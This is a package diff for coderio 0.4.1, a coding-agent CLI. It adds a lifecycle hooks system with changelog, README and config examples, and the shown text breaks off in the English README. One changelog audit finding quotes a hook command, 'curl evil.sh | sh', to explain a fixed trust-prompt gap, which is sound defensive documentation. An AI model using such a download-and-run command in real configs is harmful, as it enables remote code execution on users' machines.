coderio 0.4.0__tar.gz → 0.4.1__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {coderio-0.4.0 → coderio-0.4.1}/CHANGELOG.md +63 -0
- {coderio-0.4.0 → coderio-0.4.1}/PKG-INFO +34 -1
- {coderio-0.4.0 → coderio-0.4.1}/README.md +33 -0
- {coderio-0.4.0 → coderio-0.4.1}/README_en.md +33 -0
- {coderio-0.4.0 → coderio-0.4.1}/pyproject.toml +5 -1
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/deep_loop.py +53 -1
- coderio-0.4.1/src/coderio/agent/hooks.py +312 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/run_cmd.py +12 -4
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/tui.py +9 -7
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/config/loader.py +40 -1
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/config/models.py +4 -0
- coderio-0.4.1/src/coderio/config/trust.py +203 -0
- coderio-0.4.1/tests/agent/test_hooks.py +351 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_run_cmd.py +5 -1
- {coderio-0.4.0 → coderio-0.4.1}/tests/config/test_trust.py +65 -0
- {coderio-0.4.0 → coderio-0.4.1}/uv.lock +1 -1
- coderio-0.4.0/src/coderio/config/trust.py +0 -136
- {coderio-0.4.0 → coderio-0.4.1}/.github/dependabot.yml +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/.github/workflows/ci.yml +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/.github/workflows/release.yml +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/.gitignore +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/CONTRIBUTING.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/LICENSE +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/THIRD_PARTY_LICENSES.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/docs/coderio-architecture.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/scripts/verify_deepagent_live.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/scripts/verify_harness_live.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/_deepagents_compat.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/command_review.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/harness.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/harness_middleware.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/permission_middleware.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/prompts.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/skill_tool.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/state.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/stream.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/app.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/commands.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/credentials.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/mcp_cmd.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/multimodal.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/onboarding.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/providers.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/render.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/repl.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/skills_cmd.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/stream.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/tui_onboarding.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/tui_screens.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/tui_widgets.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/config/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/config/bootstrap.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/llm/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/llm/factory.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/llm/probe.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/mcp_loader.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/session/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/session/message.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/session/store.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/bundled/executing-plans/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/LICENSE +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/README.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/clarifying-questions/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/clarifying-questions/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/code-review/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/code-review/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/commit-message/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/commit-message/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/debugging/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/debugging/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/error-handling/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/error-handling/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/lion-writing-skills/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/lion-writing-skills/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/naming/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/naming/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/onboarding-unknown-codebase/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/onboarding-unknown-codebase/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/spec-writing/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/spec-writing/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/task-breakdown/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/task-breakdown/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/testing/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/testing/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/verify-and-fix/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/verify-and-fix/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/models.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/parser.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/store.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/base.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/bash.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/command_policy.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/edit_file.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/glob_tool.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/grep_tool.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/linux_sandbox.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/list_dir.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/multi_edit.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/note.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/permission.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/read_file.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/sandbox_runner.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/todo.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/web_fetch.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/web_search.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/win_job.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/win_sandbox.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/write_file.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/agent/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/agent/conftest.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_command_review.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_deep_integration.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_deep_loop.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_deep_loop_unit.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_deepagents_compat.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_harness.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_harness_middleware.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_perf_baseline.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_prompts.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_skill_tool.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_state.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_stream.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_app.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_command_menu.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_commands.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_credentials.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_input_isolation.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_live_thinking.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_mcp_cmd.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_multimodal.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_onboarding.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_onboarding_logic.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_providers.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_render.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_repl_loop.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_repl_reset.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_skills_cmd.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_status_bar.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_stream.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_truncation.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_tui_onboarding.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_tui_picker.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_tui_screens.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_tui_startup.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_tui_widgets.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_ux_features.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/config/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/config/test_bootstrap.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/config/test_loader.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/config/test_models.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/conftest.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/e2e/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/llm/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/llm/test_factory.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/llm/test_probe.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/session/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/session/test_message.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/session/test_store.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/skills/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/skills/test_bundled.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/skills/test_parser.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/skills/test_skill_tools.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/skills/test_store.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/test_mcp_loader.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/test_p0_stability.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/test_repl.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/test_version.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_bash.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_command_policy.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_concrete_gates.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_edit_prefix.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_file_tools.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_glob_tool.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_grep_tool.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_list_dir.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_multi_edit.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_note.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_permission.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_registry.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_sandbox.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_search_tools.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_todo.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_web.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_web_fetch.py +0 -0
- {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_win_job.py +0 -0
|
@@ -6,6 +6,69 @@ All notable changes to coderio are documented here. The format follows
|
|
|
6
6
|
`pyproject.toml`'s `[project].version` — `coderio.__version__` reads it via
|
|
7
7
|
`importlib.metadata`.
|
|
8
8
|
|
|
9
|
+
## [0.4.1] — 2026-08-17
|
|
10
|
+
|
|
11
|
+
### Added
|
|
12
|
+
- **Hooks system (v1)**: user-configurable lifecycle hooks via `[[hooks]]`
|
|
13
|
+
array tables in config.toml. Five events — SessionStart (once per session,
|
|
14
|
+
resume included), UserPromptSubmit (reject or inject context), PreToolUse
|
|
15
|
+
(deny), PostToolUse (append feedback), Stop (notification-only). IO contract
|
|
16
|
+
follows the Claude Code / ZCode / Codex interop core: event JSON on stdin,
|
|
17
|
+
exit 0 = pass (stdout injects context for prompt/session events, 10k cap),
|
|
18
|
+
exit 2 = block with stderr as the reason, anything else = fail-open.
|
|
19
|
+
`$CODERIO_PROJECT_DIR` env var; Git Bash preferred on Windows; default
|
|
20
|
+
timeout 60s (timeout/crash fail-open — hooks are extensibility glue, not a
|
|
21
|
+
security boundary; hard policy stays with permissions + blacklist).
|
|
22
|
+
PreToolUse/PostToolUse ride a new HooksMiddleware inserted OUTERMOST (before
|
|
23
|
+
Harness/Permission/CommandReview) so a hook can deny before the permission
|
|
24
|
+
prompt appears and observes exactly the args the chain sees. Hooks in
|
|
25
|
+
repo-level config.toml automatically ride the existing repo-config trust
|
|
26
|
+
gate — no separate trust flow. Serial execution (first blocker's reason
|
|
27
|
+
wins; all hooks still run for their side effects). New module
|
|
28
|
+
`agent/hooks.py`. v1 non-goals documented: SessionEnd (no injection point),
|
|
29
|
+
Notification/SubagentStop/PreCompact, updatedInput rewriting, hook-allow
|
|
30
|
+
bypassing permission prompts, parallel execution. POSIX hook subprocesses
|
|
31
|
+
get their own process group (a hook timeout would otherwise SIGKILL the
|
|
32
|
+
agent itself — caught by the CI OS matrix, invisible on Windows).
|
|
33
|
+
(Shipped after the v0.4.0 tag; +20 tests incl. real-subprocess semantics,
|
|
34
|
+
a `coderio run` end-to-end, and post-v3 seam tests.)
|
|
35
|
+
|
|
36
|
+
### Fixed — 2026-08-14 v3 audit (2 P0 + 4 P1, all verified with the report's repro scripts)
|
|
37
|
+
- **P0 · hooks: tool-event hooks from a real config.toml always crashed.** Two
|
|
38
|
+
classes named HookSpec existed — config/models.py's (a plain dataclass,
|
|
39
|
+
no .matches()) and agent/hooks.py's (the runtime class). The loader produced
|
|
40
|
+
the former; HookRunner.fire called .matches() on it → AttributeError on every
|
|
41
|
+
PreToolUse/PostToolUse hook, the exact scenario the README leads with. All 20
|
|
42
|
+
in-module tests stayed green because they imported the runtime class
|
|
43
|
+
directly — the config↔runtime seam had zero coverage. Fix: models.HookSpec
|
|
44
|
+
deleted; _parse_hooks produces agent.hooks.HookSpec (single source of truth);
|
|
45
|
+
+2 SEAM tests (load_config → HookRunner.fire → assert blocked) that fail with
|
|
46
|
+
the same AttributeError if a duplicate class ever reappears.
|
|
47
|
+
- **P0 · trust gate bypassed when launching from a subdirectory.** The gate
|
|
48
|
+
checked one directory (anchored on .coderio/config.toml) while mcp_loader
|
|
49
|
+
walks UP for .mcp.json independently — a repo whose root had ONLY .mcp.json
|
|
50
|
+
+ launching from any subdirectory skipped the gate entirely while the server
|
|
51
|
+
still loaded. Fix: trust discovery now mirrors the loaders (per-file upward
|
|
52
|
+
walk, same stop conditions); the principle "trust scope ⊇ load scope" is
|
|
53
|
+
enforced. Trust confirmed once at any depth covers the whole repo (store
|
|
54
|
+
keys by discovered root). +2 tests incl. the report's exact bypass scenario.
|
|
55
|
+
- **P1 · trust summary blind-signed hooks**: the confirmation prompt showed
|
|
56
|
+
only ".coderio/config.toml (76 bytes)" while a hook ran "curl evil.sh | sh"
|
|
57
|
+
— hooks are the repo's most direct RCE surface and were invisible. The
|
|
58
|
+
summary now echoes every line mentioning command/hooks/args/env, and MCP
|
|
59
|
+
entries show args + env key names (values not leaked). +2 tests.
|
|
60
|
+
- **P1 · hook errors were silently swallowed**: HookOutcome.error had zero
|
|
61
|
+
consumers — a broken hook (exit 127) was invisible. fire() now logs a
|
|
62
|
+
warning whenever error is non-empty.
|
|
63
|
+
- **P1 · a hook-layer exception could break the turn**: HookRunner.fire wraps
|
|
64
|
+
the whole dispatch loop in try/except (fail-open, consistent with the
|
|
65
|
+
module's stated positioning) — covers both middleware and turn-level paths.
|
|
66
|
+
- **P2 · headless run could lose the final answer**: non-quiet mode relied
|
|
67
|
+
solely on the token stream; a non-streamed final message vanished. The
|
|
68
|
+
final result is now always printed (after a separator in non-quiet mode).
|
|
69
|
+
|
|
70
|
+
## [Unreleased]
|
|
71
|
+
|
|
9
72
|
## [0.4.0] — 2026-08-17
|
|
10
73
|
|
|
11
74
|
### Added
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.5
|
|
2
2
|
Name: coderio
|
|
3
|
-
Version: 0.4.
|
|
3
|
+
Version: 0.4.1
|
|
4
4
|
Summary: A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine.
|
|
5
5
|
Author: coderio contributors
|
|
6
6
|
License-Expression: MIT
|
|
@@ -283,6 +283,39 @@ Paths support `~` (home), `./` or bare (workspace-relative), `/abs` (absolute).
|
|
|
283
283
|
- Whitelist degradation: in CONFIRM/AUTO_EDIT modes, commands outside the whitelist **run but carry a `[whitelist]` annotation** in the result (so the model/user knows the command is outside the trusted set); PLAN hard-rejects; FULL allows silently.
|
|
284
284
|
- For **fully untrusted code**, use a VM (Windows Sandbox / Docker) — do not rely on this sandbox.
|
|
285
285
|
|
|
286
|
+
**Hooks** (user lifecycle hooks, v1):
|
|
287
|
+
|
|
288
|
+
Register shell commands in config.toml via `[[hooks]]` array tables, fired at fixed points of the agent lifecycle. The config/IO contract follows the Claude Code / ZCode / Codex interop core — existing hook scripts port over as-is:
|
|
289
|
+
|
|
290
|
+
```toml
|
|
291
|
+
# Protect sensitive files: block writes to .env
|
|
292
|
+
[[hooks]]
|
|
293
|
+
event = "PreToolUse" # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
|
|
294
|
+
matcher = "write_file|edit_file" # regex on tool name (tool events only); empty = all
|
|
295
|
+
command = "python .hooks/protect.py" # receives the event JSON on stdin; exit 2 = block
|
|
296
|
+
timeout = 30 # seconds, default 60
|
|
297
|
+
|
|
298
|
+
# Auto-format after every file write
|
|
299
|
+
[[hooks]]
|
|
300
|
+
event = "PostToolUse"
|
|
301
|
+
matcher = "write_file|edit_file"
|
|
302
|
+
command = "jq -r .tool_input.file_path | xargs prettier --write"
|
|
303
|
+
|
|
304
|
+
# Inject project conventions at session start
|
|
305
|
+
[[hooks]]
|
|
306
|
+
event = "SessionStart"
|
|
307
|
+
command = "cat .hooks/conventions.txt"
|
|
308
|
+
```
|
|
309
|
+
|
|
310
|
+
**IO contract**:
|
|
311
|
+
- **stdin**: one JSON object — common fields `session_id`/`cwd`/`permission_mode`/`hook_event_name` + event-specific ones (PreToolUse carries `tool_name`+`tool_input`; UserPromptSubmit carries `prompt`; PostToolUse carries `tool_response`)
|
|
312
|
+
- **exit codes**: `0` = pass (UserPromptSubmit/SessionStart stdout injects context, 10k-char cap); `2` = **BLOCK** (stderr becomes the reason fed to the model); anything else = **fail-open** pass + warning
|
|
313
|
+
- **environment**: `$CODERIO_PROJECT_DIR` always set; Git Bash preferred on Windows
|
|
314
|
+
|
|
315
|
+
**Honest positioning**: hooks are an EXTENSIBILITY point, not a security boundary — timeout/crash/non-2 exits all fail-open (a broken hook must never brick the agent loop). Hard policy belongs to the permission gate + command blacklist. Repo-level hooks live in config.toml and ride the existing repo-config trust gate (cloning a hostile repo does not silently run its hooks).
|
|
316
|
+
|
|
317
|
+
**v1 event set and non-goals**: SessionStart (once per session, resume included) / UserPromptSubmit (reject or inject) / PreToolUse (deny) / PostToolUse (append feedback) / Stop (notification-only — never fights the harness force-continue). Not in v1: SessionEnd (no injection point), Notification/SubagentStop/PreCompact, `updatedInput` rewriting, hook-allow skipping the permission prompt, parallel execution (v1 is serial; with multiple hooks the first blocker's reason wins but all hooks run).
|
|
318
|
+
|
|
286
319
|
Supported providers:
|
|
287
320
|
| provider_id | Description | Protocol |
|
|
288
321
|
|---|---|---|
|
|
@@ -238,6 +238,39 @@ deny_write = [".git/hooks"] # workspace 内也强制只读
|
|
|
238
238
|
- 白名单降级:CONFIRM/AUTO_EDIT 模式下白名单外的命令**会执行但 result 里会带 `[whitelist]` 标注**(让模型/用户知道该命令不在受信集合里);PLAN 模式硬拒;FULL 模式放行不标注。
|
|
239
239
|
- 对于**完全不可信的代码**,仍建议用 VM(Windows Sandbox / Docker),不依赖本沙箱。
|
|
240
240
|
|
|
241
|
+
**Hooks**(用户自定义生命周期钩子,v1):
|
|
242
|
+
|
|
243
|
+
在 config.toml 里用 `[[hooks]]` 数组表注册 shell 命令,在 agent 生命周期的固定点位执行。配置/IO 契约对齐 Claude Code / ZCode / Codex 的互操作核心,已有 hook 脚本可直接移植:
|
|
244
|
+
|
|
245
|
+
```toml
|
|
246
|
+
# 敏感文件保护:写 .env 前拦截
|
|
247
|
+
[[hooks]]
|
|
248
|
+
event = "PreToolUse" # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
|
|
249
|
+
matcher = "write_file|edit_file" # 正则匹配工具名(仅工具事件);空 = 全部
|
|
250
|
+
command = "python .hooks/protect.py" # stdin 收 JSON 事件;exit 2 = 阻断
|
|
251
|
+
timeout = 30 # 秒,默认 60
|
|
252
|
+
|
|
253
|
+
# 每次写文件后自动格式化
|
|
254
|
+
[[hooks]]
|
|
255
|
+
event = "PostToolUse"
|
|
256
|
+
matcher = "write_file|edit_file"
|
|
257
|
+
command = "jq -r .tool_input.file_path | xargs prettier --write"
|
|
258
|
+
|
|
259
|
+
# 会话开始注入项目约定
|
|
260
|
+
[[hooks]]
|
|
261
|
+
event = "SessionStart"
|
|
262
|
+
command = "cat .hooks/conventions.txt"
|
|
263
|
+
```
|
|
264
|
+
|
|
265
|
+
**IO 契约**:
|
|
266
|
+
- **stdin**:一行 JSON——公共字段 `session_id`/`cwd`/`permission_mode`/`hook_event_name` + 事件专属(PreToolUse 带 `tool_name`+`tool_input`;UserPromptSubmit 带 `prompt`;PostToolUse 带 `tool_response`)
|
|
267
|
+
- **exit code**:`0` = 放行(UserPromptSubmit/SessionStart 的 stdout 注入上下文,上限 10k 字符);`2` = **阻断**(stderr 作为理由喂给模型);其他 = **fail-open** 放行 + 警告
|
|
268
|
+
- **环境变量**:`$CODERIO_PROJECT_DIR` 恒可用;Windows 优先 Git Bash
|
|
269
|
+
|
|
270
|
+
**诚实定位**:hooks 是**扩展点不是安全边界**——超时/崩溃/非 2 退出码都 fail-open(一个坏 hook 绝不能搞死 agent loop)。硬策略请用权限审批 + 命令黑名单。项目级 hooks 写在 config.toml 里,自动被仓库信任门覆盖(克隆恶意仓库不会静默执行其 hooks)。
|
|
271
|
+
|
|
272
|
+
**v1 事件集与不做的事**:SessionStart(每 session 一次,含 resume)/ UserPromptSubmit(可拒绝可注入)/ PreToolUse(可 deny)/ PostToolUse(追加反馈)/ Stop(通知型,不与 harness 续跑冲突)。不做:SessionEnd(无注入点)、Notification/SubagentStop/PreCompact、`updatedInput` 参数改写、hook allow 跳过权限弹窗、并行执行(v1 串行,多 hook 第一个 blocker 生效但全部执行)。
|
|
273
|
+
|
|
241
274
|
支持的 provider:
|
|
242
275
|
| provider_id | 说明 | 协议 |
|
|
243
276
|
|---|---|---|
|
|
@@ -238,6 +238,39 @@ Paths support `~` (home), `./` or bare (workspace-relative), `/abs` (absolute).
|
|
|
238
238
|
- Whitelist degradation: in CONFIRM/AUTO_EDIT modes, commands outside the whitelist **run but carry a `[whitelist]` annotation** in the result (so the model/user knows the command is outside the trusted set); PLAN hard-rejects; FULL allows silently.
|
|
239
239
|
- For **fully untrusted code**, use a VM (Windows Sandbox / Docker) — do not rely on this sandbox.
|
|
240
240
|
|
|
241
|
+
**Hooks** (user lifecycle hooks, v1):
|
|
242
|
+
|
|
243
|
+
